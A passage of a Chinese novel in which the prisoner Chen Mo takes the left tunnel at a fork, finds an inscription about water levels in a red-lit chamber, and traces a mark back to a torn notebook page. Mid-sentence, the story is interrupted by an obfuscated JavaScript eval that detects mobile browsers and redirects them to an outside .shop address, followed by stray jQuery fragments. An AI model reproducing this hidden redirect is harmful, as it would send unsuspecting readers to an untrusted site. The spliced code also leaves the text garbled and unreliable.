天刚亮他就醒了,不是被吵醒的,是身体自己给的信号。他躺了一会儿,听着远处的水声,天花板上的灰缝一道一道地横在视野里,他数了七道就停了下来。他坐起来,把油灯重新灌满,灯芯剪齐,把扳手、旧刀、金属扣依次收进袋里,把那本册子也带上了。那粒种子已经不在口袋里了,它已经被放在那棵树的根旁边了。他站在牢房中央,把随身的物件又在心里清点了一遍——册子、油灯、刀、扳手、金属扣、刻着字母的旧油灯。那盏旧灯还留在墙角,他没有带。
灰制服来送早饭的时候陈默已经站在铁栏前面了。他把碗接过来放在地上,说了一句:"我出去一趟。"灰制服看了他一眼,没有说话,钥匙插进锁孔转了一圈,铁门开了。陈默走出来的时候经过走廊拐角,看到灰制服站在值班室门口,侧着身像在收拾什么。他没有停步,继续往外走。晨光从铁门外照进来,在地面上落下一块浅金色的亮斑。他跨过那道亮斑走了出去。
他沿着河岸走了一阵,在干河床的位置拐了弯,继续往前走。太阳正在升起来,把他的影子拉在身后,比他预想的短一些。他走过那座小镇的时候没有停。酒馆的灯还没亮,门关着。他沿着土路穿过镇子,走上那道山坡,在坡顶站了一会儿。他看了一眼那棵老树,树冠在晨光里展开,枝干低垂。他没有走过去,转身沿着山坡往下走,走到那处岔口的入口。入口还留着,树皮和碎石覆盖着。他弯腰钻进去,沿着那条通道走了一段,通道的走向和坡度他已经很熟悉了,每一个转弯处都记得。
他走到岔口的时候停住了。岔口还是那样,左边那条路的光是暗红色的,右边那条他已经走过了。他站在岔口中间,油灯照出的光在岔口处均匀铺开,分成了两道,一道偏黄,一道偏红。他看了一会儿,然后转向左边。迈出那一步的时候,脚踩在通道的地面上,地面的质地跟右边不同,更粗一些,像是没被修整过。暗红色的光从通道深处透出来,不是煤油灯的颜色,也不是任何燃烧物发出的暖光。那种光像是从岩壁本身的质地中渗出来的,像是在某种矿石层中自然形成了光源。
他走了几步,暗红色的光开始变得均匀,通道的墙壁从砖砌变成了天然的岩面,岩层间镶嵌着一些深色的矿物纹理。越往前走,暗红色的光越稳定,像是从空气本身中分布开来的,找不到唯一的光源。他走了一阵,通道前方出现了一个开阔的空间——一个由暗红色光线照亮的天然腔室,比之前见过的任何腔室都更平整,像是被水流或时间打磨过。腔室的中央有一块低矮的岩石,岩石表面光滑,像是被水长年冲刷过,又像是被手长期抚摸过。
他走到岩石前,蹲下来,看到岩石顶面刻着一行字,字迹与之前见过的都不相同。他低头辨认那行字,读出了它的内容。那行字写的是:"如果你走到了这里,说明你选择了另一条路。这条路的尽头有一段水位记录,我不确定它是否仍然准确。记录的内容是:水位每七年下降一次,七年后恢复原状。"
陈默看着那行字,默读了一遍,又默读了一遍。他在岩石前面的地面上坐了下来,坐在暗红色的光线里。岩石上刻的那行字底下没有署名,但那个语气比玛丽的更老,像是从一个更远的时间点传过来的。他知道那条记录指向的是一段早已废弃的旧水道,而当时刻下它的人,很可能是在更早的时间段里记录下自己的感受,然后在某个时机到来时选择了离开。
他站起来,沿着腔室走了一圈。暗红色的光线把四周的墙壁照出一种均匀的色调,像是整个空间都在持续地发出微弱的光。他在腔室的一侧看到了一处被凿过的壁面,凿痕很浅,像是用钝器反复敲击出来的,形成了一幅粗略的图案。他靠近了看,那幅图显示的是一段河流的走向,旁边用同一组数字和
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17825181|211227||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
符号标出了距地表的大致深度。他沿着壁面继续查看,附近的岩面上还刻着几组符号,其中一组刻在壁面最底部,被一层极薄的矿物沉积物遮住了大半。他用刀尖轻轻刮掉那层沉积物,露出了下面的几道浅刻痕——那是一个记号,他看了很久才辨认出来,一个"h"字,笔画的粗细和间距与那本册子里被撕掉的那页的残缺笔画一致。
他在那组符号前面站了一会儿,然后退后几步,沿着来路返回。他走过那条暗红色的通道,回到岔口,再经过那段熟悉的路段,走出入口。回到地面的时候,已经是上午了,太阳升高了,风从河面上吹过来。他沿着河岸往下游走了一段,在河边一块平坦的石头上坐下来,把油灯放在脚边,把册子从口袋里掏出来,翻开到那页被撕掉的页码。纸根上那个字母的轮廓还在,他把它和刚才在岩壁上看到的记号放在一起。两者笔画的宽度和间距相符,刻那组字符的人和写下那页纸的人是同一个。
他合上册子,靠着身后的石头坐了一会儿,望着河面上流动的光。他这一走,是顺着岔口的左侧路线走到那间被暗红色光线照亮的腔室,又顺着原路折返回来,没有遇到任何阻碍。他把那组记号和时间跨度的对应关系理顺了:如果那条通道的入口确实只在水位最低时才能进入,那么他抵达的时间点与那次记录中的情况并不完全一致。下一年,或者更晚的某一年,水位降得更低的时候,他会再走一趟。那组字符和那行记录都在那里等着他。他站起来,沿着河岸往牢房方向走去。水声在身后渐渐变远,像是一段谈话正在被河水慢慢带向更远的转弯处。远处的水面在日光的照射下泛着持续的、平稳的银白色亮光,像是这条河流经漫长距离之后,已经习惯了以这种速度和亮度继续向前。他走了一阵,把走过的路线在心里又默记了一遍,然后放慢脚步,侧头看了一眼河流拐弯处的反光,继续往前走去。